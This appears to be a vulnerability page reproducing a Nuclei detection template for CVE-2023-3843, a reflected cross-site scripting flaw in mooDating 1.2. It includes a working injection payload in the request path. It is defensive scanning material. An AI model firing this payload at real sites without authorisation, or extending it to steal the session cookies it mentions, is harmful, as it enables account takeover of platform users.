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CVE-2023-3843: mooDating 1.2 - Cross-site scripting

2025-08-01 mooDating 1.2 PoC Public

Description

A vulnerability was found in mooSocial mooDating 1.2. It has been classified as problematic. Affected is an unknown function of the file /matchmakings/question of the component URL Handler. The manipulation leads to cross site scripting. It is possible to launch the attack remotely. VDB-235194 is the identifier assigned to this vulnerability. NOTE: We tried to contact the vendor early about the disclosure but the official mail address was not working properly.

PoC

id: CVE-2023-3843

info:
  name: mooDating 1.2 - Cross-site scripting
  author: r3Y3r53
  severity: medium
  description: |
    A vulnerability was found in mooSocial mooDating 1.2. It has been classified as problematic. Affected is an unknown function of the file /matchmakings/question of the component URL Handler. The manipulation leads to cross site scripting. It is possible to launch the attack remotely. VDB-235194 is the identifier assigned to this vulnerability. NOTE: We tried to contact the vendor early about the disclosure but the official mail address was not working properly.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the matchmakings URL parameter to steal dating platform user session cookies and access personal profile information.
  remediation: |
    Update mooSocial mooDating to a version newer than 1.2 that properly sanitizes and encodes URL parameters in the matchmakings component.
  reference:
    - https://www.exploit-db.com/exploits/51628
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3843
    - https://vuldb.com/?ctiid.235194
    - https://vuldb.com/?id.235194
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-3843
    cwe-id: CWE-79
    epss-score: 0.05955
    epss-percentile: 0.93092
    cpe: cpe:2.3:a:moosocial:moodating:1.2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: moosocial
    product: moodating
  tags: cve2023,cve,xss,unauth,exploitdb,moodating,moosocial,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/matchmakings/questiontmili%22%3E%3Cimg%20src%3da%20onerror%3dalert(document.domain)%3Ew71ch?number="

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 404'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "><img src=a onerror=alert(document.domain)>w71ch") && contains(body, "mooDating")'
        condition: and
# digest: 4b0a00483046022100e552b4ab742c962816701f6a7b9a65574f7fbabd90b49828c39633f6b2f92d98022100df541476d2aacc9c0658949a6c352ab13ef30ead2ecc9d7332cc0954f945a740:922c64590222798bb761d5b6d8e72950

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Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-3843.yaml

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